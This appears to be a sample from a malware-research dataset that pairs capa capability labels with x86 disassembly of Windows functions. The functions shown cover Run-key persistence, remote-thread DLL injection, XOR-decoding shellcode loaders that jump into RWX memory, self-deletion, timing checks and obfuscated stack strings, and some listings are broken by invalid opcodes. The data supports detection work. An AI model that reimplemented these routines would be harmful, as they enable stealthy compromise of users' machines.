joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x401bd7
pop dword [ebp - 0x24]
mov eax, 0x8e659cc9
sub eax, 0x8e2580f2
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xf278547e
sub dword [ebp - 0x34], 0xa4260f33
mov dword [ebp - 0x30], 0x20d2d465
sub dword [ebp - 0x30], 0xee9f8820
mov dword [ebp - 0x2c], 0x6963339c
add dword [ebp - 0x2c], 0xe2e91092
mov dword [ebp - 0x28], 0xd899a890
add dword [ebp - 0x28], 0x27665770
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x4228d953
add dword [ebp - 0x34], 0x32499003
mov dword [ebp - 0x30], 0xffeec841
sub dword [ebp - 0x30], 0xbe8266cc
mov dword [ebp - 0x2c], 0x1dec6522
add dword [ebp - 0x2c], 0x4583074a
mov dword [ebp - 0x28], 0x49b618a4
sub dword [ebp - 0x28], 0x49b618a4
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x198f87fc
sub eax, 0x194f16fc
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x352b3
push 0
call eax
mov ecx, 0xe9067565
sub ecx, 0xe9063305
mov esi, eax
mov edx, 0x8801298a
add edx, 0x783fd676
add edx, dword [ebp - 0x24]
mov edi, 0xb9da3d19
add dword [ebp - 0x18], edx
mov ebx, dword [edx]
add dword [ebp - 0x10], 0xe9d5dfd
xor ebx, edi
add dword [ebp - 0x14], edi
mov dword [esi], ebx
sub dword [ebp - 4], ebx
add esi, 4
add edx, 0x57100100
add edx, 0xa8efff04
loop 0x401cee
add eax, 0xfc53
mov ebx, eax
add eax, 0xc6c6800b
add eax, 0x39397ffa
mov ecx, 0x400000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x4014ae
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea eax, [ebp - 0x418]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], str.BuildingBlock.exe
mov dword [ebp - 0x14], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x18], str.BuildingBlock
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
jmp 0x4014fd
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test al, al
jne 0x4014f9
jmp 0x40150d
sub dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp al, 0x5c
jne 0x401509
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x418]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcat
mov dword [ebp - 0x41c], 0
lea eax, [ebp - 0x41c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyA_12
sub esp, 0xc
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x41c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x418]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 7
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret

Function at 0x40164e
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x401747
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x4017b5
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x4018f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret

Function at 0x401954
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret
Function at 0x401000
Capabilities:
Check for time delay via gettickcount

Disassembly:
movsx eax, word [0x42b75c]
push ebx
push ebp
push edi
push 0xf935ffff
push eax
call fcn.0040e400
mov dword [0x42b768], eax
mov eax, dword [0x42b784]
push eax
push eax
call fcn.0040e380
movsx ecx, byte [0x42b74c]
movsx edx, ax
push ecx
push edx
mov word [0x42b75a], ax
mov dword [0x42b788], 0x7ffdffff
mov bl, 1
call fcn.0040e2c0
push 0xe2d3ffff
push 0x3833ffff
mov word [0x42b75c], ax
call fcn.0040e400
movsx ecx, byte [0x42b74a]
mov dword [0x42b768], eax
mov eax, dword [0x42b778]
push eax
push ecx
call fcn.0040e400
mov edx, dword [0x42b778]
mov edi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
or edx, 0x7c4fffff
add esp, 0x28
mov word [0x42b752], ax
mov dword [0x42b788], edx
call edi
mov ebp, eax
call edi
sub eax, ebp
cmp eax, 0x535
jae 0x4011e9
or ebx, 0xffffffff
push 0x331fffff
push 0xaca5ffff
call fcn.0040e2c0
mov byte [0x42b74e], al
movsx eax, byte [0x42b74b]
push eax
push 0xd0d3ffff
call fcn.0040e290
movsx ecx, word [0x42b754]
push ecx
push 0xb3d7ffff
mov byte [0x42b749], al
call fcn.0040e3c0
movsx edx, word [0x42b75c]
sub edx, 0x11b40001
push 0x4455ffff
push 0xe705ffff
mov byte [0x42b749], al
mov dword [0x42b770], edx
call fcn.0040e340
movsx ecx, word [0x42b758]
mov byte [0x42b74e], al
mov eax, dword [0x42b780]
push eax
push ecx
call fcn.0040e3c0
movsx edx, byte [0x42b74c]
push edx
push 0xfe13ffff
mov dword [0x42b774], eax
call fcn.0040e400
add esp, 0x30
mov dword [0x42b784], eax
call fcn.004011f0
movsx dx, byte [0x42b749]
mov ecx, dword [0x42b77c]
mov dword [0x42b778], 0x8d4c0001
or edx, ecx
mov word [0x42b756], dx
movsx dx, byte [0x42b74e]
or dx, word [0x42b75a]
dec ecx
cmp eax, 0xd0000000
mov word [0x42b75a], cx
mov word [0x42b754], dx
ja 0x40119a
cmp eax, 0x80000000
jae 0x4011e3
movsx eax, word [0x42b758]
push eax
push 0xa969ffff
call fcn.0040e450
mov byte [0x42b74c], al
mov eax, dword [0x42b780]
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
mov word [0x42b752], bx
mov word [0x42b75a], cx
call edi
sub eax, ebp
cmp eax, 0x535
jb 0x4010ad
pop edi
pop ebp
mov al, 1
pop ebx
ret
pop edi
pop ebp
xor al, al
pop ebx
ret
pop edi
mov al, bl
pop ebp
pop ebx
ret
Function at 0x4036c0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x424dc9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
movsx eax, byte [0x42b74c]
movsx ecx, word [0x42b752]
or eax, ecx
push ebx
mov ebx, dword [0x42b770]
mov dword [0x42b77c], eax
mov al, byte [0x42b758]
push esi
neg al
movsx dx, al
mov byte [0x42b74f], al
mov al, byte [esp + 0x2c]
and edx, ebx
xor ebx, ebx
mov byte [0x42b749], 0xff
mov word [0x42b760], dx
mov byte [esp + 8], al
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
mov ecx, dword [0x42b784]
push 0xe60bffff
push ecx
mov dword [esp + 0x28], ebx
call fcn.0040e290
mov ecx, dword [esp + 0x30]
mov dword [0x42b778], eax
mov eax, dword [esp + 0x34]
lea edx, [esp + 0x10]
push edx
push eax
push ecx
mov byte [0x42b748], 1
call fcn.004037b0
mov ecx, dword [esp + 0x20]
add esp, 0x14
cmp ecx, ebx
mov esi, eax
je 0x40379a
mov al, byte [ecx - 1]
cmp al, bl
je 0x403790
cmp al, 0xff
je 0x403790
dec al
mov byte [ecx - 1], al
mov eax, esi
pop esi
pop ebx
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
add esp, 0x1c
ret
dec ecx
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov ecx, dword [esp + 0x18]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret
Function at 0x415270
Capabilities:
Hash data with md5

Disassembly:
movsx eax, word [0x42b762]
push esi
push eax
mov esi, ecx
push 0x3605ffff
call fcn.0040e2c0
movsx ecx, ax
push ecx
push 0x4df9ffff
mov word [0x42b758], ax
call fcn.0040e400
mov cl, byte [0x42b74b]
add esp, 0x10
xor edx, edx
mov dword [0x42b768], eax
test cl, cl
setne dl
lea ecx, [esi + 0x10]
xor eax, eax
mov dword [0x42b77c], edx
mov dword [ecx], eax
mov dword [ecx + 4], eax
cmp word [0x42b762], ax
mov word [0x42b760], 0xfffe
je 0x4152e3
cmp word [0x42b754], ax
mov dword [0x42b76c], 1
jne 0x4152ed
mov dword [0x42b76c], 0
push 0xb049ffff
push 0x7f11ffff
call fcn.0040e4a0
movsx edx, word [0x42b75e]
push edx
push 0xe8b7ffff
mov word [0x42b75c], ax
call fcn.0040e2c0
mov dword [0x42b77c], eax
mov dword [esi], 0x67452301
movsx eax, word [0x42b75e]
push 0xcaefffff
push eax
call fcn.0040e3c0
mov word [0x42b758], ax
mov dword [esi + 4], 0xefcdab89
mov ecx, dword [0x42b77c]
push ecx
push 0xeeddffff
call fcn.0040e290
mov byte [0x42b748], al
mov eax, dword [0x42b76c]
mov byte [0x42b74e], al
mov word [0x42b754], ax
mov word [0x42b760], 1
mov dword [esi + 8], 0x98badcfe
movsx edx, byte [0x42b749]
push edx
push 0x5253ffff
call fcn.0040e340
mov byte [0x42b749], al
mov eax, dword [0x42b778]
dec eax
movsx ecx, ax
imul ecx, ecx, 0x1577ffff
mov word [0x42b752], ax
mov dword [0x42b774], ecx
mov dword [esi + 0xc], 0x10325476
movsx edx, byte [0x42b74a]
push edx
push 0x1355ffff
call fcn.0040e450
push 0x429bffff
push 0x13c3ffff
mov dword [0x42b780], eax
call fcn.0040e4a0
add esp, 0x38
mov word [0x42b754], ax
pop esi
ret
Function at 0x4221c0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x425c59
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0x14], esi
call dword [sym.imp.MSVCP60.dll_private:_static_class_std::locale::_Locimp____cdecl_std::locale::_Init_void_]
mov ebx, dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::_Lockit::constructor_void_]
lea ecx, [esp + 0x10]
mov dword [esi + 0x34], eax
call ebx
mov eax, dword [sym.imp.MSVCP60.dll_class_std::locale::_Locimp__std::locale::_Locimp::_Global]
lea ecx, [esp + 0xc]
mov edi, dword [eax]
call ebx
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
jae 0x42220f
inc eax
mov dword [edi + 4], eax
mov edi, dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::_Lockit::destructor_void_]
lea ecx, [esp + 0xc]
call edi
lea ecx, [esp + 0x10]
call edi
lea ecx, [esi + 4]
lea edx, [esi + 0x14]
mov dword [esi + 0xc], ecx
lea ecx, [esi + 0x18]
mov dword [esi + 0x1c], edx
mov dword [esi + 0x20], ecx
lea eax, [esi + 8]
lea edx, [esi + 0x24]
lea ecx, [esi + 0x28]
mov dword [esi + 0x10], eax
mov dword [esi + 0x2c], edx
mov dword [esi + 0x30], ecx
mov dword [eax], 0
mov edx, dword [esi + 0x20]
mov dword [edx], 0
mov eax, dword [esi + 0x30]
mov dword [eax], 0
mov ecx, dword [esi + 0xc]
mov dword [ecx], 0
mov edx, dword [esi + 0x1c]
mov dword [edx], 0
mov eax, dword [esi + 0x2c]
mov dword [eax], 0
mov ecx, dword [esp + 0x28]
push 0
push 0
push 0
push ecx
mov ecx, esi
mov dword [esp + 0x30], 0
mov dword [esi], 0x42639c
call dword [sym.imp.MSVCP60.dll_protected:_void___thiscall_std::strstreambuf::_Init_int__char___char___int_]
mov ecx, dword [esp + 0x18]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret 4
Function at 0x409057
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc eax
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.00408cf3
push eax
push esi
push dword [ebp + 8]
call fcn.00408ca8
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.00408cf3
push eax
push esi
push dword [ebp + 8]
call fcn.00408ca8
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00408cf3
push eax
push esi
push dword [ebp + 8]
call fcn.00408ca8
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00408ce3
and edi, dword [edi - 0x46]
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
inc esi
inc ebp
adc byte [ecx - 0x3a], 0x45
xor dword [ebx - 0x3a], 0xc6628245
inc ebp
sbb dword [ebx - 0x3a], 0x45
test byte [ecx - 0x3a], bh
inc ebp
test dword [edx - 0x3a], esi
inc ebp
xchg byte [ebx - 0x3a], ah
inc ebp
xchg dword [edx - 0x3a], edi
inc ebp
mov byte [ebx - 0x3a], dh
inc ebp
mov dword [esi - 0x3a], ebx
inc ebp
mov dh, byte [edi - 0x3a]
inc ebp
mov edi, dword [eax - 0x3a]
inc ebp
invalid
jb 0x409179
inc ebp
lea edi, [edx - 0x3a]
inc ebp
invalid
jae 0x409181
inc ebp
invalid
push edi
mov byte [ebp - 0x70], 0x16
call fcn.00408ce3
pop esi
mov esi, 0x858dae5d
jl 0x4091ce
invalid
invalid
Function at 0x4093c5
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x4093ba
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x4093d8
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
add byte [eax], al
add byte [eax], al
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x409436
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x40941d
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x409426
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x409430
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x409412
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x40939c
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x409483
dec eax
je 0x40947a
sub eax, 3
je 0x409471
mov dword [ebp - 4], 0x40
jmp 0x4094a0
mov dword [ebp - 4], 4
jmp 0x409486
mov dword [ebp - 4], 0x20
jmp 0x409486
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x4094d2
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x409452
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
Function at 0x40983d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x659], 0x97
mov byte [ebp - 0x658], 0x9b
mov byte [ebp - 0x657], 0xf8
lea eax, [ebp - 0x664]
push eax
call fcn.00408cf3
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00408ca8
add esp, 0xc
mov dword [ebp - 0x67c], eax
and byte [ebp - 0x524], 0
and byte [ebp - 0x523], 0
mov byte [ebp - 0x522], 0x15
and byte [ebp - 0x521], 0
mov byte [ebp - 0x520], 0xa2
mov byte [ebp - 0x51f], 0x8f
mov byte [ebp - 0x51e], 0x8b
mov byte [ebp - 0x51d], 0x9a
mov byte [ebp - 0x51c], 0xac
mov byte [ebp - 0x51b], 0x98
mov byte [ebp - 0x51a], 0x8f
mov byte [ebp - 0x519], 0x8f
mov byte [ebp - 0x518], 0xea
lea eax, [ebp - 0x524]
push eax
call fcn.00408cf3
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00408ca8
add esp, 0xc
mov dword [ebp - 0x39c], eax
call fcn.00408ce3
jle 0x409973
js 0x40995e
and byte [ebp - 0x514], 0
and byte [ebp - 0x513], 0
mov byte [ebp - 0x512], 0xe3
and byte [ebp - 0x511], 0
mov byte [ebp - 0x510], 0x5b
mov byte [ebp - 0x50f], 0x79
mov byte [ebp - 0x50e], 0x68
mov byte [ebp - 0x50d], 0x5a
mov byte [ebp - 0x50c], 0x75
mov byte [ebp - 0x50b], 0x70
mov byte [ebp - 0x50a], 0x79
mov byte [ebp - 0x509], 0x4f
mov byte [ebp - 0x508], 0x75
mov byte [ebp - 0x507], 0x66
mov byte [ebp - 0x506], 0x79
mov byte [ebp - 0x505], 0x1c
lea eax, [ebp - 0x514]
push eax
call fcn.00408cf3
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00408ca8
add esp, 0xc
mov dword [ebp - 0x33c], eax
call fcn.00408ce3
jne 0x40999e
cli
cli
invalid
invalid
push 0xffffffffffffffcf
push 0x104
lea eax, [ebp - 0x334]
push eax
push dword [ebp + 8]
call dword [ebp - 0x538]
mov dword [ebp - 0x398], eax
mov byte [ebp - 0x544], 1
cmp dword [ebp - 0x398], 0
je 0x4099d7
invalid
cmp dword [ebp - 0x398], 0
je 0x409ba1
and byte [ebp - 0x230], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x12c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
Function at 0x4099cd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
cmp dword [ebp + 0xc], 1
je 0x409ba1
cmp dword [ebp + 0xc], 8
jne 0x409b69
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
mov byte [ebp - 0x6aa], 0x17
mov byte [ebp - 0x6a9], 0x17
mov byte [ebp - 0x6a8], 0x29
mov byte [ebp - 0x6a7], 1
mov byte [ebp - 0x6a6], 9
test dword [edx - 7], ebx
invalid
dec dword [ecx]
mov byte [ebp - 0x6a5], 0xb
mov byte [ebp - 0x6a4], 0x16
mov byte [ebp - 0x6a3], 0x1d
mov byte [ebp - 0x6a2], 0x64
lea eax, [ebp - 0x6b8]
push eax
call fcn.00408cf3
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00408ca8
add esp, 0xc
mov dword [ebp - 0x690], eax
mov byte [ebp - 0x6a0], 0x8b
or byte [ebp - 0x69f], 0xff
mov byte [ebp - 0x69e], 0x55
mov byte [ebp - 0x69d], 0x8b
mov byte [ebp - 0x69c], 0xec
lea eax, [ebp - 0x694]
push eax
push 5
lea eax, [ebp - 0x6a0]
push eax
push dword [ebp - 0x33c]
push 0xffffffffffffffff
invalid
xchg ebp, eax
jo 0x409adc

Function at 0x409bef
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00408cc1
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
inc dword [eax]
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
invalid
invalid
Function at 0x40cf9b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40cfaa
pop dword [ebp - 0x3c]
mov eax, 0x7decf8b8
sub eax, 0x7dac290e
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x3c5a6
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x51814396
add ecx, 0xae7efecd
mov edx, eax
mov edi, 0x435400
add edi, dword [ebp - 0x3c]
mov esi, 0x79aeaed8
xor dword [ebp - 8], esi
mov ebx, dword [edi]
sub dword [ebp - 4], eax
sub ebx, esi
add dword [ebp - 0x18], edx
mov dword [edx], ebx
add edx, 0x24cbce8d
sub edx, 0x24cbce89
add edi, 4
loop 0x40cff8
add eax, 0xfc5f
mov ebx, eax
add eax, 5
mov ecx, 0xa75660c0
sub ecx, 0xa71660c0
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret